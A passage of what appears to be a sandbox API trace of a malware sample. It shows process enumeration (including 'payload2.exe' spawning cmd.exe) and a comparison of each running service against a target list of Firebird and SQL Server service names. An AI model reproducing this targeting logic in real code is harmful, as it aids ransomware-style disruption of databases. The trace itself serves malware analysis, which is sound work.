	[0071.069] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0071.069] lstrlenW (lpString="svchost.exe") returned 11
	[0071.070] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0071.070] lstrlenW (lpString="svchost.exe") returned 11
	[0071.070] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0071.071] lstrlenW (lpString="svchost.exe") returned 11
	[0071.071] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0071.071] lstrlenW (lpString="svchost.exe") returned 11
	[0071.071] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0071.072] lstrlenW (lpString="spoolsv.exe") returned 11
	[0071.072] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0071.072] lstrlenW (lpString="svchost.exe") returned 11
	[0071.072] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0071.073] lstrlenW (lpString="svchost.exe") returned 11
	[0071.073] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0071.073] lstrlenW (lpString="audiodg.exe") returned 11
	[0071.073] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0071.074] lstrlenW (lpString="sihost.exe") returned 10
	[0071.074] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0071.074] lstrlenW (lpString="svchost.exe") returned 11
	[0071.075] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0071.075] lstrlenW (lpString="taskhostw.exe") returned 13
	[0071.075] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0071.076] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0071.076] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0071.076] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0071.076] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x42, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0071.077] lstrlenW (lpString="explorer.exe") returned 12
	[0071.077] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0071.077] lstrlenW (lpString="Memory Compression") returned 18
	[0071.077] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0071.078] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0071.078] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0071.078] lstrlenW (lpString="SearchUI.exe") returned 12
	[0071.078] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0071.079] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0071.079] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0071.080] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0071.080] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0071.080] lstrlenW (lpString="taskhostw.exe") returned 13
	[0071.080] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0071.081] lstrlenW (lpString="UsoClient.exe") returned 13
	[0071.081] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0071.081] lstrlenW (lpString="taskhostw.exe") returned 13
	[0071.081] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0071.082] lstrlenW (lpString="DeviceCensus.exe") returned 16
	[0071.082] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0071.083] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
	[0071.083] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0071.083] lstrlenW (lpString="msoia.exe") returned 9
	[0071.083] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0071.084] lstrlenW (lpString="msoia.exe") returned 9
	[0071.084] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1
	[0071.084] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31
	[0071.085] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver_fireplace_subdivision.exe")) returned 1
	[0071.085] lstrlenW (lpString="screensaver_fireplace_subdivision.exe") returned 37
	[0071.085] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="emptysuitexml.exe")) returned 1
	[0071.086] lstrlenW (lpString="emptysuitexml.exe") returned 17
	[0071.086] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="defeatpreston.exe")) returned 1
	[0071.086] lstrlenW (lpString="defeatpreston.exe") returned 17
	[0071.086] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="governments-lottery-royalty.exe")) returned 1
	[0071.087] lstrlenW (lpString="governments-lottery-royalty.exe") returned 31
	[0071.087] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="legends.exe")) returned 1
	[0071.087] lstrlenW (lpString="legends.exe") returned 11
	[0071.087] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="miniature.exe")) returned 1
	[0071.088] lstrlenW (lpString="miniature.exe") returned 13
	[0071.088] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="writes-heroes-spies.exe")) returned 1
	[0071.088] lstrlenW (lpString="writes-heroes-spies.exe") returned 23
	[0071.088] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="thorough.exe")) returned 1
	[0071.089] lstrlenW (lpString="thorough.exe") returned 12
	[0071.089] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0071.089] lstrlenW (lpString="dllhost.exe") returned 11
	[0071.089] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="interactive.exe")) returned 1
	[0071.090] lstrlenW (lpString="interactive.exe") returned 15
	[0071.090] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="victims sugar parental.exe")) returned 1
	[0071.090] lstrlenW (lpString="victims sugar parental.exe") returned 26
	[0071.091] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blade_mexican.exe")) returned 1
	[0071.091] lstrlenW (lpString="blade_mexican.exe") returned 17
	[0071.091] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="eastexamined.exe")) returned 1
	[0071.092] lstrlenW (lpString="eastexamined.exe") returned 16
	[0071.092] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="attacks-according.exe")) returned 1
	[0071.092] lstrlenW (lpString="attacks-according.exe") returned 21
	[0071.092] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="jacket neighborhood.exe")) returned 1
	[0071.093] lstrlenW (lpString="jacket neighborhood.exe") returned 23
	[0071.093] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="values latin.exe")) returned 1
	[0071.094] lstrlenW (lpString="values latin.exe") returned 16
	[0071.094] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="eaufeed.exe")) returned 1
	[0071.095] lstrlenW (lpString="eaufeed.exe") returned 11
	[0071.095] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="chicken_document_adjusted.exe")) returned 1
	[0071.095] lstrlenW (lpString="chicken_document_adjusted.exe") returned 29
	[0071.095] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="burning.exe")) returned 1
	[0071.096] lstrlenW (lpString="burning.exe") returned 11
	[0071.096] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="warned-garage.exe")) returned 1
	[0071.097] lstrlenW (lpString="warned-garage.exe") returned 17
	[0071.097] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="customize_ann_acute.exe")) returned 1
	[0071.607] lstrlenW (lpString="customize_ann_acute.exe") returned 23
	[0071.607] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="documentsstrikes.exe")) returned 1
	[0071.608] lstrlenW (lpString="documentsstrikes.exe") returned 20
	[0071.608] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="scratch-ball.exe")) returned 1
	[0071.608] lstrlenW (lpString="scratch-ball.exe") returned 16
	[0071.608] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="proprietary.exe")) returned 1
	[0071.609] lstrlenW (lpString="proprietary.exe") returned 15
	[0071.609] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x744, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfd4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0071.609] lstrlenW (lpString="conhost.exe") returned 11
	[0071.610] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfbc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0071.610] lstrlenW (lpString="conhost.exe") returned 11
	[0071.610] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1
	[0071.611] lstrlenW (lpString="payload2.exe") returned 12
	[0071.611] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1
	[0071.611] lstrlenW (lpString="CompatTelRunner.exe") returned 19
	[0071.611] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0071.612] lstrlenW (lpString="conhost.exe") returned 11
	[0071.612] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0071.613] lstrlenW (lpString="svchost.exe") returned 11
	[0071.613] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x468, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0071.613] lstrlenW (lpString="cmd.exe") returned 7
	[0071.613] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x5f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0071.614] lstrlenW (lpString="conhost.exe") returned 11
	[0071.614] Process32NextW (in: hSnapshot=0x384, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x5f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0071.614] CloseHandle (hObject=0x384) returned 1
	[0071.614] Sleep (dwMilliseconds=0x1f4) 
	[0072.719] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52d890
	[0072.720] EnumServicesStatusExW (in: hSCManager=0x52d890, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0
	[0072.720] GetLastError () returned 0xea
	[0072.720] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1d60) returned 0x4314a18
	[0072.721] EnumServicesStatusExW (in: hSCManager=0x52d890, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4314a18, cbBufSize=0x1d60, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4314a18, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1
	[0072.722] CloseServiceHandle (hSCObject=0x52d890) returned 1
	[0072.722] lstrlenW (lpString="Appinfo") returned 7
	[0072.722] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0072.722] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0072.722] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0072.722] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0072.722] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0072.722] lstrlenW (lpString="AppXSvc") returned 7
	[0072.722] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0072.722] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0072.722] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0072.722] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0072.722] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0072.722] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0072.722] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0072.722] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0072.722] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0072.722] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0072.723] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0072.723] lstrlenW (lpString="Audiosrv") returned 8
	[0072.723] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0072.723] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0072.723] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0072.723] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0072.723] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0072.723] lstrlenW (lpString="BFE") returned 3
	[0072.723] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0072.723] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0072.723] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0072.723] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0072.723] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0072.723] lstrlenW (lpString="BITS") returned 4
	[0072.723] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0072.723] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0072.723] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
